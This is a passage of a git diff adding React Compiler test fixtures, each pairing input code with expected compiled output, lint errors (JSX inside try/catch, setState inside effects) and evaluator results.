+```javascript
+function useFoo({arr1, arr2}) {
+  const cb = e => arr2[0].value + e.value;
+  const y = [];
+  for (let i = 0; i < arr1.length; i++) {
+    y.push(cb(arr1[i]));
+  }
+  return y;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{arr1: [], arr2: []}],
+  sequentialRenders: [
+    {arr1: [], arr2: []},
+    {arr1: [], arr2: null},
+    {arr1: [{value: 1}, {value: 2}], arr2: [{value: -1}]},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+function useFoo(t0) {
+  const $ = _c(5);
+  const { arr1, arr2 } = t0;
+  let t1;
+  if ($[0] !== arr2[0].value) {
+    t1 = (e) => arr2[0].value + e.value;
+    $[0] = arr2[0].value;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  const cb = t1;
+  let y;
+  if ($[2] !== arr1 || $[3] !== cb) {
+    y = [];
+    for (let i = 0; i < arr1.length; i++) {
+      y.push(cb(arr1[i]));
+    }
+    $[2] = arr1;
+    $[3] = cb;
+    $[4] = y;
+  } else {
+    y = $[4];
+  }
+
+  return y;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{ arr1: [], arr2: [] }],
+  sequentialRenders: [
+    { arr1: [], arr2: [] },
+    { arr1: [], arr2: null },
+    { arr1: [{ value: 1 }, { value: 2 }], arr2: [{ value: -1 }] },
+  ],
+};
+
+```
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/bug-invalid-array-map-manual.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/bug-invalid-array-map-manual.js
new file mode 100644
index 000000000000..eed75613061a
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/bug-invalid-array-map-manual.js
@@ -0,0 +1,18 @@
+function useFoo({arr1, arr2}) {
+  const cb = e => arr2[0].value + e.value;
+  const y = [];
+  for (let i = 0; i < arr1.length; i++) {
+    y.push(cb(arr1[i]));
+  }
+  return y;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{arr1: [], arr2: []}],
+  sequentialRenders: [
+    {arr1: [], arr2: []},
+    {arr1: [], arr2: null},
+    {arr1: [{value: 1}, {value: 2}], arr2: [{value: -1}]},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/return-object-of-functions.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/return-object-of-functions.expect.md
new file mode 100644
index 000000000000..5ccf5b5edc9d
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/return-object-of-functions.expect.md
@@ -0,0 +1,57 @@
+
+## Input
+
+```javascript
+/**
+ * Assume that only directly returned functions or JSX attributes are invoked.
+ * Conservatively estimate that functions wrapped in objects or other containers
+ * might never be called (and therefore their property loads are not hoistable).
+ */
+function useMakeCallback({arr}) {
+  return {
+    getElement0: () => arr[0].value,
+    getElement1: () => arr[1].value,
+  };
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useMakeCallback,
+  params: [{arr: [1, 2]}],
+  sequentialRenders: [{arr: [1, 2]}, {arr: []}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; /**
+ * Assume that only directly returned functions or JSX attributes are invoked.
+ * Conservatively estimate that functions wrapped in objects or other containers
+ * might never be called (and therefore their property loads are not hoistable).
+ */
+function useMakeCallback(t0) {
+  const $ = _c(2);
+  const { arr } = t0;
+  let t1;
+  if ($[0] !== arr) {
+    t1 = { getElement0: () => arr[0].value, getElement1: () => arr[1].value };
+    $[0] = arr;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useMakeCallback,
+  params: [{ arr: [1, 2] }],
+  sequentialRenders: [{ arr: [1, 2] }, { arr: [] }],
+};
+
+```
+      
+### Eval output
+(kind: ok) {"getElement0":"[[ function params=0 ]]","getElement1":"[[ function params=0 ]]"}
+{"getElement0":"[[ function params=0 ]]","getElement1":"[[ function params=0 ]]"}
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/return-object-of-functions.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/return-object-of-functions.js
new file mode 100644
index 000000000000..6aface49f808
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/return-object-of-functions.js
@@ -0,0 +1,17 @@
+/**
+ * Assume that only directly returned functions or JSX attributes are invoked.
+ * Conservatively estimate that functions wrapped in objects or other containers
+ * might never be called (and therefore their property loads are not hoistable).
+ */
+function useMakeCallback({arr}) {
+  return {
+    getElement0: () => arr[0].value,
+    getElement1: () => arr[1].value,
+  };
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useMakeCallback,
+  params: [{arr: [1, 2]}],
+  sequentialRenders: [{arr: [1, 2]}, {arr: []}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-memo-value-not-promoted-to-outer-scope-dynamic.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-memo-value-not-promoted-to-outer-scope-dynamic.expect.md
index becc4066e7d7..211007ef5615 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-memo-value-not-promoted-to-outer-scope-dynamic.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-memo-value-not-promoted-to-outer-scope-dynamic.expect.md
@@ -27,13 +27,12 @@ function Component(props) {
   const $ = _c(15);
   const item = useFragment(FRAGMENT, props.item);
   useFreeze(item);
-  let t0;
   let T0;
-  let t1;
   let T1;
+  let t0;
+  let t1;
   if ($[0] !== item) {
     const count = new MaybeMutable(item);
-
     T1 = View;
     T0 = View;
     if ($[5] === Symbol.for("react.memo_cache_sentinel")) {
@@ -44,15 +43,15 @@ function Component(props) {
     }
     t0 = maybeMutate(count);
     $[0] = item;
-    $[1] = t0;
-    $[2] = T0;
-    $[3] = t1;
-    $[4] = T1;
+    $[1] = T0;
+    $[2] = T1;
+    $[3] = t0;
+    $[4] = t1;
   } else {
-    t0 = $[1];
-    T0 = $[2];
-    t1 = $[3];
-    T1 = $[4];
+    T0 = $[1];
+    T1 = $[2];
+    t0 = $[3];
+    t1 = $[4];
   }
   let t2;
   if ($[6] !== t0) {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-memo-value-not-promoted-to-outer-scope-static.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-memo-value-not-promoted-to-outer-scope-static.expect.md
index b1e18f940da7..812aa0ba7709 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-memo-value-not-promoted-to-outer-scope-static.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-memo-value-not-promoted-to-outer-scope-static.expect.md
@@ -25,7 +25,6 @@ function Component(props) {
   let t0;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
     const count = new MaybeMutable();
-
     t0 = (
       <View>
         <View>
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-jsx-in-catch-in-outer-try-with-catch.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-jsx-in-catch-in-outer-try-with-catch.expect.md
new file mode 100644
index 000000000000..6ac06c1df23c
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-jsx-in-catch-in-outer-try-with-catch.expect.md
@@ -0,0 +1,56 @@
+
+## Input
+
+```javascript
+// @loggerTestOnly @validateNoJSXInTryStatements @outputMode:"lint"
+import {identity} from 'shared-runtime';
+
+function Component(props) {
+  let el;
+  try {
+    let value;
+    try {
+      value = identity(props.foo);
+    } catch {
+      el = <div value={value} />;
+    }
+  } catch {
+    return null;
+  }
+  return el;
+}
+
+```
+
+## Code
+
+```javascript
+// @loggerTestOnly @validateNoJSXInTryStatements @outputMode:"lint"
+import { identity } from "shared-runtime";
+
+function Component(props) {
+  let el;
+  try {
+    let value;
+    try {
+      value = identity(props.foo);
+    } catch {
+      el = <div value={value} />;
+    }
+  } catch {
+    return null;
+  }
+  return el;
+}
+
+```
+
+## Logs
+
+```
+{"kind":"CompileError","detail":{"options":{"category":"ErrorBoundaries","reason":"Avoid constructing JSX within try/catch","description":"React does not immediately render components when JSX is rendered, so any errors from this component will not be caught by the try/catch. To catch errors in rendering a given component, wrap that component in an error boundary. (https://react.dev/reference/react/Component#catching-rendering-errors-with-an-error-boundary)","details":[{"kind":"error","loc":{"start":{"line":11,"column":11,"index":241},"end":{"line":11,"column":32,"index":262},"filename":"invalid-jsx-in-catch-in-outer-try-with-catch.ts"},"message":"Avoid constructing JSX within try/catch"}]}},"fnLoc":null}
+{"kind":"CompileSuccess","fnLoc":{"start":{"line":4,"column":0,"index":110},"end":{"line":17,"column":1,"index":317},"filename":"invalid-jsx-in-catch-in-outer-try-with-catch.ts"},"fnName":"Component","memoSlots":4,"memoBlocks":2,"memoValues":2,"prunedMemoBlocks":0,"prunedMemoValues":0}
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-jsx-in-catch-in-outer-try-with-catch.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-jsx-in-catch-in-outer-try-with-catch.js
new file mode 100644
index 000000000000..a036272cdb05
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-jsx-in-catch-in-outer-try-with-catch.js
@@ -0,0 +1,17 @@
+// @loggerTestOnly @validateNoJSXInTryStatements @outputMode:"lint"
+import {identity} from 'shared-runtime';
+
+function Component(props) {
+  let el;
+  try {
+    let value;
+    try {
+      value = identity(props.foo);
+    } catch {
+      el = <div value={value} />;
+    }
+  } catch {
+    return null;
+  }
+  return el;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-jsx-in-try-with-catch.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-jsx-in-try-with-catch.expect.md
new file mode 100644
index 000000000000..1e08cb24a663
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-jsx-in-try-with-catch.expect.md
@@ -0,0 +1,42 @@
+
+## Input
+
+```javascript
+// @loggerTestOnly @validateNoJSXInTryStatements @outputMode:"lint"
+function Component(props) {
+  let el;
+  try {
+    el = <div />;
+  } catch {
+    return null;
+  }
+  return el;
+}
+
+```
+
+## Code
+
+```javascript
+// @loggerTestOnly @validateNoJSXInTryStatements @outputMode:"lint"
+function Component(props) {
+  let el;
+  try {
+    el = <div />;
+  } catch {
+    return null;
+  }
+  return el;
+}
+
+```
+
+## Logs
+
+```
+{"kind":"CompileError","detail":{"options":{"category":"ErrorBoundaries","reason":"Avoid constructing JSX within try/catch","description":"React does not immediately render components when JSX is rendered, so any errors from this component will not be caught by the try/catch. To catch errors in rendering a given component, wrap that component in an error boundary. (https://react.dev/reference/react/Component#catching-rendering-errors-with-an-error-boundary)","details":[{"kind":"error","loc":{"start":{"line":5,"column":9,"index":123},"end":{"line":5,"column":16,"index":130},"filename":"invalid-jsx-in-try-with-catch.ts"},"message":"Avoid constructing JSX within try/catch"}]}},"fnLoc":null}
+{"kind":"CompileSuccess","fnLoc":{"start":{"line":2,"column":0,"index":68},"end":{"line":10,"column":1,"index":179},"filename":"invalid-jsx-in-try-with-catch.ts"},"fnName":"Component","memoSlots":1,"memoBlocks":1,"memoValues":1,"prunedMemoBlocks":0,"prunedMemoValues":0}
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-jsx-in-try-with-catch.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-jsx-in-try-with-catch.js
new file mode 100644
index 000000000000..45d932ec7c42
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-jsx-in-try-with-catch.js
@@ -0,0 +1,10 @@
+// @loggerTestOnly @validateNoJSXInTryStatements @outputMode:"lint"
+function Component(props) {
+  let el;
+  try {
+    el = <div />;
+  } catch {
+    return null;
+  }
+  return el;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-jsx-lowercase-localvar.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-jsx-lowercase-localvar.expect.md
new file mode 100644
index 000000000000..925346225c3e
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-jsx-lowercase-localvar.expect.md
@@ -0,0 +1,75 @@
+
+## Input
+
+```javascript
+import {Throw} from 'shared-runtime';
+
+/**
+ * Note: this is disabled in the evaluator due to different devmode errors.
+ * Found differences in evaluator results
+ *  Non-forget (expected):
+ *  (kind: ok) <invalidtag val="[object Object]"></invalidtag>
+ *  logs: ['Warning: <%s /> is using incorrect casing. Use PascalCase for React components, or lowercase for HTML elements.%s','invalidTag']
+ *
+ *  Forget:
+ *  (kind: ok) <invalidtag val="[object Object]"></invalidtag>
+ *  logs: [
+ *   'Warning: <%s /> is using incorrect casing. Use PascalCase for React components, or lowercase for HTML elements.%s','invalidTag',
+ *   'Warning: The tag <%s> is unrecognized in this browser. If you meant to render a React component, start its name with an uppercase letter.%s','invalidTag',
+ *  ]
+ */
+function useFoo() {
+  const invalidTag = Throw;
+  /**
+   * Need to be careful to not parse `invalidTag` as a localVar (i.e. render
+   * Throw). Note that the jsx transform turns this into a string tag:
+   * `jsx("invalidTag"...
+   */
+  return <invalidTag val={{val: 2}} />;
+}
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { Throw } from "shared-runtime";
+
+/**
+ * Note: this is disabled in the evaluator due to different devmode errors.
+ * Found differences in evaluator results
+ *  Non-forget (expected):
+ *  (kind: ok) <invalidtag val="[object Object]"></invalidtag>
+ *  logs: ['Warning: <%s /> is using incorrect casing. Use PascalCase for React components, or lowercase for HTML elements.%s','invalidTag']
+ *
+ *  Forget:
+ *  (kind: ok) <invalidtag val="[object Object]"></invalidtag>
+ *  logs: [
+ *   'Warning: <%s /> is using incorrect casing. Use PascalCase for React components, or lowercase for HTML elements.%s','invalidTag',
+ *   'Warning: The tag <%s> is unrecognized in this browser. If you meant to render a React component, start its name with an uppercase letter.%s','invalidTag',
+ *  ]
+ */
+function useFoo() {
+  const $ = _c(1);
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = <invalidTag val={{ val: 2 }} />;
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  return t0;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [],
+};
+
+```
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-jsx-lowercase-localvar.jsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-jsx-lowercase-localvar.jsx
new file mode 100644
index 000000000000..1e62eb011765
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-jsx-lowercase-localvar.jsx
@@ -0,0 +1,29 @@
+import {Throw} from 'shared-runtime';
+
+/**
+ * Note: this is disabled in the evaluator due to different devmode errors.
+ * Found differences in evaluator results
+ *  Non-forget (expected):
+ *  (kind: ok) <invalidtag val="[object Object]"></invalidtag>
+ *  logs: ['Warning: <%s /> is using incorrect casing. Use PascalCase for React components, or lowercase for HTML elements.%s','invalidTag']
+ *
+ *  Forget:
+ *  (kind: ok) <invalidtag val="[object Object]"></invalidtag>
+ *  logs: [
+ *   'Warning: <%s /> is using incorrect casing. Use PascalCase for React components, or lowercase for HTML elements.%s','invalidTag',
+ *   'Warning: The tag <%s> is unrecognized in this browser. If you meant to render a React component, start its name with an uppercase letter.%s','invalidTag',
+ *  ]
+ */
+function useFoo() {
+  const invalidTag = Throw;
+  /**
+   * Need to be careful to not parse `invalidTag` as a localVar (i.e. render
+   * Throw). Note that the jsx transform turns this into a string tag:
+   * `jsx("invalidTag"...
+   */
+  return <invalidTag val={{val: 2}} />;
+}
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-set-state-in-effect-verbose-derived-event.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-set-state-in-effect-verbose-derived-event.expect.md
new file mode 100644
index 000000000000..be0a4dc43193
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-set-state-in-effect-verbose-derived-event.expect.md
@@ -0,0 +1,73 @@
+
+## Input
+
+```javascript
+// @validateNoSetStateInEffects @enableVerboseNoSetStateInEffect
+import {useState, useEffect} from 'react';
+
+function VideoPlayer({isPlaying}) {
+  const [wasPlaying, setWasPlaying] = useState(isPlaying);
+  useEffect(() => {
+    if (isPlaying !== wasPlaying) {
+      setWasPlaying(isPlaying);
+      console.log('Play state changed!');
+    }
+  }, [isPlaying, wasPlaying]);
+  return <video />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: VideoPlayer,
+  params: [{isPlaying: true}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @validateNoSetStateInEffects @enableVerboseNoSetStateInEffect
+import { useState, useEffect } from "react";
+
+function VideoPlayer(t0) {
+  const $ = _c(5);
+  const { isPlaying } = t0;
+  const [wasPlaying, setWasPlaying] = useState(isPlaying);
+  let t1;
+  let t2;
+  if ($[0] !== isPlaying || $[1] !== wasPlaying) {
+    t1 = () => {
+      if (isPlaying !== wasPlaying) {
+        setWasPlaying(isPlaying);
+        console.log("Play state changed!");
+      }
+    };
+    t2 = [isPlaying, wasPlaying];
+    $[0] = isPlaying;
+    $[1] = wasPlaying;
+    $[2] = t1;
+    $[3] = t2;
+  } else {
+    t1 = $[2];
+    t2 = $[3];
+  }
+  useEffect(t1, t2);
+  let t3;
+  if ($[4] === Symbol.for("react.memo_cache_sentinel")) {
+    t3 = <video />;
+    $[4] = t3;
+  } else {
+    t3 = $[4];
+  }
+  return t3;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: VideoPlayer,
+  params: [{ isPlaying: true }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <video></video>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-set-state-in-effect-verbose-derived-event.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-set-state-in-effect-verbose-derived-event.js
new file mode 100644
index 000000000000..4928dbe60787
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-set-state-in-effect-verbose-derived-event.js
@@ -0,0 +1,18 @@
+// @validateNoSetStateInEffects @enableVerboseNoSetStateInEffect
+import {useState, useEffect} from 'react';
+
+function VideoPlayer({isPlaying}) {
+  const [wasPlaying, setWasPlaying] = useState(isPlaying);
+  useEffect(() => {
+    if (isPlaying !== wasPlaying) {
+      setWasPlaying(isPlaying);
+      console.log('Play state changed!');
+    }
+  }, [isPlaying, wasPlaying]);
+  return <video />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: VideoPlayer,
+  params: [{isPlaying: true}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-set-state-in-effect-verbose-force-update.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-set-state-in-effect-verbose-force-update.expect.md
new file mode 100644
index 000000000000..131eb99127b3
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-set-state-in-effect-verbose-force-update.expect.md
@@ -0,0 +1,97 @@
+
+## Input
+
+```javascript
+// @validateNoSetStateInEffects @enableVerboseNoSetStateInEffect
+import {useState, useEffect} from 'react';
+
+const externalStore = {
+  value: 0,
+  subscribe(callback) {
+    return () => {};
+  },
+  getValue() {
+    return this.value;
+  },
+};
+
+function ExternalDataComponent() {
+  const [, forceUpdate] = useState({});
+  useEffect(() => {
+    const unsubscribe = externalStore.subscribe(() => {
+      forceUpdate({});
+    });
+    return unsubscribe;
+  }, []);
+  return <div>{externalStore.getValue()}</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: ExternalDataComponent,
+  params: [],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @validateNoSetStateInEffects @enableVerboseNoSetStateInEffect
+import { useState, useEffect } from "react";
+
+const externalStore = {
+  value: 0,
+  subscribe(callback) {
+    return () => {};
+  },
+  getValue() {
+    return this.value;
+  },
+};
+
+function ExternalDataComponent() {
+  const $ = _c(4);
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = {};
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  const [, forceUpdate] = useState(t0);
+  let t1;
+  let t2;
+  if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
+    t1 = () => {
+      const unsubscribe = externalStore.subscribe(() => {
+        forceUpdate({});
+      });
+      return unsubscribe;
+    };
+    t2 = [];
+    $[1] = t1;
+    $[2] = t2;
+  } else {
+    t1 = $[1];
+    t2 = $[2];
+  }
+  useEffect(t1, t2);
+  let t3;
+  if ($[3] === Symbol.for("react.memo_cache_sentinel")) {
+    t3 = <div>{externalStore.getValue()}</div>;
+    $[3] = t3;
+  } else {
+    t3 = $[3];
+  }
+  return t3;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: ExternalDataComponent,
+  params: [],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>0</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-set-state-in-effect-verbose-force-update.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-set-state-in-effect-verbose-force-update.js
new file mode 100644
index 000000000000..e7653d1a1ec8
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-set-state-in-effect-verbose-force-update.js
@@ -0,0 +1,28 @@
+// @validateNoSetStateInEffects @enableVerboseNoSetStateInEffect
+import {useState, useEffect} from 'react';
+
+const externalStore = {
+  value: 0,
+  subscribe(callback) {
+    return () => {};
+  },
+  getValue() {
+    return this.value;
+  },
+};
+
+function ExternalDataComponent() {
+  const [, forceUpdate] = useState({});
+  useEffect(() => {
+    const unsubscribe = externalStore.subscribe(() => {
+      forceUpdate({});
+    });
+    return unsubscribe;
+  }, []);
+  return <div>{externalStore.getValue()}</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: ExternalDataComponent,
+  params: [],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-set-state-in-effect-verbose-non-local-derived.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-set-state-in-effect-verbose-non-local-derived.expect.md
new file mode 100644
index 000000000000..35cdeb212d5a
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-set-state-in-effect-verbose-non-local-derived.expect.md
@@ -0,0 +1,68 @@
+
+## Input
+
+```javascript
+// @validateNoSetStateInEffects @enableVerboseNoSetStateInEffect
+import {useState, useEffect} from 'react';
+
+function Child({firstName, lastName}) {
+  const [fullName, setFullName] = useState('');
+  useEffect(() => {
+    setFullName(firstName + ' ' + lastName);
+  }, [firstName, lastName]);
+  return <div>{fullName}</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Child,
+  params: [{firstName: 'John', lastName: 'Doe'}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @validateNoSetStateInEffects @enableVerboseNoSetStateInEffect
+import { useState, useEffect } from "react";
+
+function Child(t0) {
+  const $ = _c(6);
+  const { firstName, lastName } = t0;
+  const [fullName, setFullName] = useState("");
+  let t1;
+  let t2;
+  if ($[0] !== firstName || $[1] !== lastName) {
+    t1 = () => {
+      setFullName(firstName + " " + lastName);
+    };
+    t2 = [firstName, lastName];
+    $[0] = firstName;
+    $[1] = lastName;
+    $[2] = t1;
+    $[3] = t2;
+  } else {
+    t1 = $[2];
+    t2 = $[3];
+  }
+  useEffect(t1, t2);
+  let t3;
+  if ($[4] !== fullName) {
+    t3 = <div>{fullName}</div>;
+    $[4] = fullName;
+    $[5] = t3;
+  } else {
+    t3 = $[5];
+  }
+  return t3;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Child,
+  params: [{ firstName: "John", lastName: "Doe" }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>John Doe</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-set-state-in-effect-verbose-non-local-derived.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-set-state-in-effect-verbose-non-local-derived.js
new file mode 100644
index 000000000000..eba6b5cdc0f1
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-set-state-in-effect-verbose-non-local-derived.js
@@ -0,0 +1,15 @@
+// @validateNoSetStateInEffects @enableVerboseNoSetStateInEffect
+import {useState, useEffect} from 'react';
+
+function Child({firstName, lastName}) {
+  const [fullName, setFullName] = useState('');
+  useEffect(() => {
+    setFullName(firstName + ' ' + lastName);
+  }, [firstName, lastName]);
+  return <div>{fullName}</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Child,
+  params: [{firstName: 'John', lastName: 'Doe'}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-setState-in-useEffect-namespace.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-setState-in-useEffect-namespace.expect.md
new file mode 100644
index 000000000000..b7f823e46d4a
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-setState-in-useEffect-namespace.expect.md
@@ -0,0 +1,42 @@
+
+## Input
+
+```javascript
+// @loggerTestOnly @validateNoSetStateInEffects @outputMode:"lint"
+import * as React from 'react';
+
+function Component() {
+  const [state, setState] = React.useState(0);
+  React.useEffect(() => {
+    setState(s => s + 1);
+  });
+  return state;
+}
+
+```
+
+## Code
+
+```javascript
+// @loggerTestOnly @validateNoSetStateInEffects @outputMode:"lint"
+import * as React from "react";
+
+function Component() {
+  const [state, setState] = React.useState(0);
+  React.useEffect(() => {
+    setState((s) => s + 1);
+  });
+  return state;
+}
+
+```
+
+## Logs
+
+```
+{"kind":"CompileError","detail":{"options":{"category":"EffectSetState","reason":"Calling setState synchronously within an effect can trigger cascading renders","description":"Effects are intended to synchronize state between React and external systems such as manually updating the DOM, state management libraries, or other platform APIs. In general, the body of an effect should do one or both of the following:\n* Update external systems with the latest state from React.\n* Subscribe for updates from some external system, calling setState in a callback function when external state changes.\n\nCalling setState synchronously within an effect body causes cascading renders that can hurt performance, and is not recommended. (https://react.dev/learn/you-might-not-need-an-effect)","suggestions":null,"details":[{"kind":"error","loc":{"start":{"line":7,"column":4,"index":200},"end":{"line":7,"column":12,"index":208},"filename":"invalid-setState-in-useEffect-namespace.ts","identifierName":"setState"},"message":"Avoid calling setState() directly within an effect"}]}},"fnLoc":null}
+{"kind":"CompileSuccess","fnLoc":{"start":{"line":4,"column":0,"index":100},"end":{"line":10,"column":1,"index":245},"filename":"invalid-setState-in-useEffect-namespace.ts"},"fnName":"Component","memoSlots":1,"memoBlocks":1,"memoValues":1,"prunedMemoBlocks":1,"prunedMemoValues":1}
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-setState-in-useEffect-namespace.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-setState-in-useEffect-namespace.js
new file mode 100644
index 000000000000..0748c1206f59
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-setState-in-useEffect-namespace.js
@@ -0,0 +1,10 @@
+// @loggerTestOnly @validateNoSetStateInEffects @outputMode:"lint"
+import * as React from 'react';
+
+function Component() {
+  const [state, setState] = React.useState(0);
+  React.useEffect(() => {
+    setState(s => s + 1);
+  });
+  return state;
+}
